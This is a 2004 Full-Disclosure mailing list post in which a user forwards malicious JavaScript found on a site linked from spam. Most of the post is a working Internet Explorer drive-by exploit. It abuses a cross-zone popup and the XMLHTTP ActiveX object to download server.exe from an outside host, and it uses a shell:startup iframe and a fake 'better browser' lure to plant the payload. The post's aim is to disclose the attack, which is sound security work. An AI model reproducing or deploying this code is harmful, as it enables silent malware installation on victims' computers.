[Full-Disclosure] Virus loading through ActiveX-Exploit [Fwd: George Bush sniper-rifle shot!]

I just got attached e-mail. On the linked website I found this exploit
code (sorry for the line breaks):
<script>
function govuln(){
var w=window.open("javascript:setInterval(function(){try{var
tempvar=opener.location.href;}catch(e){location.assign('javascript:var
xmlHTTP = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);xmlHTTP.open
(&quot;GET&quot;,&quot;http://real.slon.biz/server.exe&quot;,false);xmlHTTP.send();var
contents =
xmlHTTP.responseBody;document.innerHTML=(&quot;&lt;title&gt;You Need a
better browser&lt;/title&gt;&lt;DIV ID=DS2 align=center
style=position:absolute;left:10;top:-30;&gt;&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;font
face=arial color=black&gt;&lt;b&gt;This web page requires Opera
Comptable browser&lt;/b&gt;&amp;nbspYou can download Opera from the
&lt;a href=http://www.opera.com&gt;Opera &lt;frame src=log.php
name=frame1 scrolling=no frameborder=no noresize=noresize&gt;Software
Group web
site&lt;/a&gt;.&lt;/center&gt;&lt;/div&gt;&lt;html&gt;&lt;iframe
src=shell:startup HEIGHT=5000; WIDTH=5000
style=color:red;position:absolute;top:30;left:-2000;border:dotted;z-index:-90;&gt;&lt;/iframe&gt;&lt;body
onload=showpop()&gt;&lt;script&gt;function
showpop(){pop=window.createPopup();pop.document.body.style.margin=0;pop.document.body.innerHTML=txt.value;pop.show(100,100,screen.width+300,screen.height+300);}&lt;/script&gt;&lt;span
style=position: absolute; left: 1; top: 1
id=absspan&gt;&lt;/span&gt;&lt;textarea id=txt rows=1 cols=20
style=display:none&gt;&lt;html&gt;&lt;body&gt;&lt;table width=100%
height=100%&gt;&lt;tr ALIGN=LEFT
VALIGN=TOP&gt;&lt;br&gt;&lt;center&gt;&lt;img
src=http://real.slon.biz/server.exe id=anch
onmousedown=parent.pop.show(1,1,1,1);
style=width=4000px;height=4000px;background-image:url(&amp;quot;http://real.slon.biz/1.gif&amp;quot;);&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/textarea&gt;&lt;/body&gt;&lt;/html&gt;&quot;)');window.close();}},100)","_blank","height=10,width=10,left=10000,top=10000");
w.location.assign=location.assign;
location.href="http://localhost";
}
govuln()
</script>

-- 
Homepage: http://www.martin-stricker.de/
Linux Migration Project: http://www.linux-migration.org/
Webmaster-Forum: http://www.masterportal24.com/cgi-bin/yindex.cgi
Red Hat Linux 9 for low memory: http://www.rule-project.org/
Registered Linux user #210635: http://counter.li.org/

attached mail follows:

qvajpdh golne ftqbitu ndsrs

_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html Received on Tue Sep 07 05:54:50 2004